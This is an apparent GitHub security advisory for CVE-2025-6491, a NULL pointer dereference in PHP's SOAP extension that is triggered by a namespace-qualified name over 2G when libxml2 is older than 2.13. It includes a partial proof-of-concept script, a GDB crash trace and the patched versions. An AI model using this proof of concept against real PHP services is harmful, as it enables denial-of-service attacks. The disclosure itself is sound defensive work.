GHSA-453j-q27h-5p8x / CVE-2025-6491: NULL Pointer Dereference in PHP SOAP Extension via Large XML Namespace Prefix
- Published:
- Fetched:
- Updated:
- Affects:
- php php-src
https://github.com/php/php-src/security/advisories/GHSA-453j-q27h-5p8x ↗
NULL Pointer Dereference in PHP SOAP Extension via Large XML Namespace Prefix ### Summary If a SoapVar instance is created with a fully qualified name larger than 2G, this will cause a NULL pointer dereference resulting in a segmentation fault, leading to a denial of service. **Product**: PHP <= 8.5.0-dev with libxml2 < 2.13 **Discovered by**: Ahmed Lekssays ([Qatar Computing Research Institute](https://cs.qcri.org)). ### Details Libxml versions prior to 2.13 cannot correctly handle a call to xmlNodeSetName() with a name longer than 2G. It will leave the node object in an invalid state with a NULL name. This later causes a NULL pointer dereference when using the name during message serialization. This can be exploited if a SoapVar is created with a fully qualified name that is longer than 2G. This would be possible if some application code uses a namespace prefix from an untrusted source like from a remote SOAP service. ### PoC Create a PHP file with the following content: ```php 'http://127.0.0.1/', // localhost dummy 'uri' => 'urn:dummy', 'trace' => 1, 'exceptions' => true, ]; try { $client = new SoapClient(null, $options); $client->__soapCall("DummyFunction", [$soapVar]); } catch (Exception $e) { echo "Caught Exception: " . $e->getMessage() . "\n"; } ?> ``` Run with: `php poc.php` The script will immediately crash with a segmentation fault. GDB shows the crash occurs in strcmp() with a null pointer dereference. Valgrind confirms "Invalid read of size 1 at address 0x0". ### Impact This is a null pointer dereference vulnerability (CWE-476) that affects any PHP installation with the SOAP extension enabled. The vulnerability can be triggered when a SoapVar is created with a qualified name based on user-controlled SOAP data. Impact includes: - Denial of Service: Reliable crash causing PHP process termination - Service disruption: Affects web applications using SOAP functionality ### GDB Trace ``` GNU gdb (Ubuntu 16.2-8ubuntu1) 16.2 Reading symbols from /usr/local/bin/php... (gdb) b xmlBuildQName Breakpoint 1 at 0x14b440 (gdb) run Starting program: /usr/local/bin/php poc.php [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. __GI_strcmp () at ../sysdeps/aarch64/strcmp.S:78 (gdb) bt #0 __GI_strcmp () at ../sysdeps/aarch64/strcmp.S:78 #1 0x0000aaaaaaf8e72c in serialize_zval (val=0xfffff76010f0, param=0x0, paramName=0xffffffffc738 "param0", style=1, parent= Patched: 8.1.33, 8.2.29, 8.3.23, 8.4.10